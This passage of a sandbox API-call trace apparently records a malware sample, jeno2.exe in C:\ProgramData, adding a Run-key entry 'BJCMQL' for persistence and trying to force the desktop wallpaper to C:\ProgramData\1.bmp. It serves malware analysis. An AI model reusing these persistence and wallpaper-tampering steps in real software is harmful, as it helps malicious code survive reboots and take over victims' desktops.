lpMultiByteStr=0x14f5b84, cbMultiByte=19, lpWideCharStr=0x14b48fc, cchWideChar=37 | out: lpWideCharStr="ConvertedWallpaper") returned 19 [0176.965] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.965] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpWideCharStr=0x14b4fbc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.966] RegFlushKey (hKey=0x720) returned 0x0 [0176.977] GetLastError () returned 0x0 [0176.977] RegCloseKey (hKey=0x720) returned 0x0 [0176.977] GetLastError () returned 0x0 [0176.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x1452454, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.977] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.978] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.978] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.978] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.978] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.978] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.978] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.978] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0176.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x14b48fc, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0176.979] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0176.979] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.979] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.979] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.979] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.979] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.979] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.979] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.979] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x14f5b84, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0176.979] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383e150 | out: hHeap=0x3820000) returned 1 [0176.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.979] VarCat (in: pvarLeft=0x18ecdc, pvarRight=0x18eccc, pvarResult=0x18ecbc | out: pvarResult=0x18ecbc) returned 0x0 [0176.979] VarCat (in: pvarLeft=0x18ecbc, pvarRight=0x18ec3c, pvarResult=0x18ecac | out: pvarResult=0x18ecac) returned 0x0 [0176.979] VarCat (in: pvarLeft=0x18ecac, pvarRight=0x18ec9c, pvarResult=0x18ec8c | out: pvarResult=0x18ec8c) returned 0x0 [0176.979] VarCat (in: pvarLeft=0x18ec8c, pvarRight=0x18ec2c, pvarResult=0x18ec7c | out: pvarResult=0x18ec7c) returned 0x0 [0176.979] VarCat (in: pvarLeft=0x18ec7c, pvarRight=0x18ec6c, pvarResult=0x18ec5c | out: pvarResult=0x18ec5c) returned 0x0 [0176.979] VarCat (in: pvarLeft=0x18ec5c, pvarRight=0x18ec1c, pvarResult=0x18ec4c | out: pvarResult=0x18ec4c) returned 0x0 [0176.980] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x5c [0176.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=92, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 92 [0176.980] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x5c [0176.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=93, lpMultiByteStr=0x146c82c, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", lpUsedDefaultChar=0x0) returned 93 [0176.980] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.980] GetLastError () returned 0x0 [0176.980] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x5c [0176.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=92, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0176.980] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x5c [0176.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=93, lpWideCharStr=0x144265c, cchWideChar=185 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 93 [0176.980] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.980] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=31, lpMultiByteStr=0x14d9ee4, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\jeno2.exe\" -ui", lpUsedDefaultChar=0x0) returned 31 [0176.980] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.980] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=7, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BJCMQL", lpUsedDefaultChar=0x0) returned 7 [0176.980] RegSetValueExA (in: hKey=0x720, lpValueName="BJCMQL", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\jeno2.exe\" -ui", cbData=0x1e | out: lpData="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x0 [0176.982] GetLastError () returned 0x0 [0176.982] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.982] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpWideCharStr=0x14f5e2c, cchWideChar=13 | out: lpWideCharStr="BJCMQL") returned 7 [0176.982] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14d9ee4, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.982] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14d9ee4, cbMultiByte=31, lpWideCharStr=0x146c82c, cchWideChar=61 | out: lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 31 [0176.982] RegFlushKey (hKey=0x720) returned 0x0 [0176.996] GetLastError () returned 0x0 [0176.996] RegCloseKey (hKey=0x720) returned 0x0 [0176.996] GetLastError () returned 0x0 [0176.996] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x68 [0176.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=104, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0176.996] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x68 [0176.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=105, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 105 [0176.997] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.997] GetLastError () returned 0x0 [0176.997] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x68 [0176.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0176.997] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x68 [0176.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x144bb04, cchWideChar=209 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 105 [0176.997] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.997] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.997] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.997] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.997] RegSetValueExA (hKey=0x0, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f5b84, cbData=0x14) returned 0x6 [0176.997] GetLastError () returned 0x0 [0176.997] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.997] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpWideCharStr=0x14f5e2c, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.997] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.998] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.998] RegFlushKey (hKey=0x0) returned 0x6 [0176.998] GetLastError () returned 0x0 [0176.998] RegCloseKey (hKey=0x0) returned 0x6 [0176.998] GetLastError () returned 0x0 [0176.998] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x68 [0176.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=104, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0176.998] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x68 [0176.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=105, lpMultiByteStr=0x144265c, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 105 [0176.998] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.998] GetLastError () returned 0x0 [0176.998] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x68 [0176.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0176.998] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x68 [0176.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=105, lpWideCharStr=0x144bb04, cchWideChar=209 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 105 [0176.998] SysStringLen (param_1="0") returned 0x1 [0176.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0176.999] SysStringLen (param_1="0") returned 0x1 [0176.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x14f5b84, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0176.999] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.999] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.999] RegSetValueExA (hKey=0x0, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData=0x14f5b84, cbData=0x1) returned 0x6 [0176.999] GetLastError () returned 0x0 [0176.999] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0176.999] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpWideCharStr=0x14b4c5c, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.999] SysStringByteLen (bstr="0") returned 0x1 [0176.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0176.999] SysStringByteLen (bstr="0") returned 0x1 [0176.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=2, lpWideCharStr=0x53a5384, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0176.999] RegFlushKey (hKey=0x0) returned 0x6 [0176.999] GetLastError () returned 0x0 [0176.999] RegCloseKey (hKey=0x0) returned 0x6 [0176.999] GetLastError () returned 0x0 [0177.000] SysStringLen (param_1=" ") returned 0x104 [0177.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=260, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 260 [0177.000] SysStringLen (param_1=" ") returned 0x104 [0177.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=261, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 261 [0177.000] RegEnumKeyA (in: hKey=0x80000003, dwIndex=0x4, lpName=0x53ccd0c, cchName=0x104 | out: lpName="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes") returned 0x0 [0177.000] GetLastError () returned 0x0 [0177.000] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥 ††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0177.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=260, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 260 [0177.000] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥 ††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0177.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpWideCharStr=0x14e628c, cchWideChar=521 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes") returned 261 [0177.000] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0177.001] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=77, lpMultiByteStr=0x146c82c, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 77 [0177.001] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.001] GetLastError () returned 0x0 [0177.001] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0177.001] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=77, lpWideCharStr=0x1445ffc, cchWideChar=153 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 77 [0177.001] SysStringLen (param_1="0") returned 0x1 [0177.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0177.001] SysStringLen (param_1="0") returned 0x1 [0177.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x1452454, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0177.001] SysStringLen (param_1="TileWallpaper") returned 0xd [0177.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.001] SysStringLen (param_1="TileWallpaper") returned 0xd [0177.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=14, lpMultiByteStr=0x14f5634, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TileWallpaper", lpUsedDefaultChar=0x0) returned 14 [0177.001] RegSetValueExA (hKey=0x0, 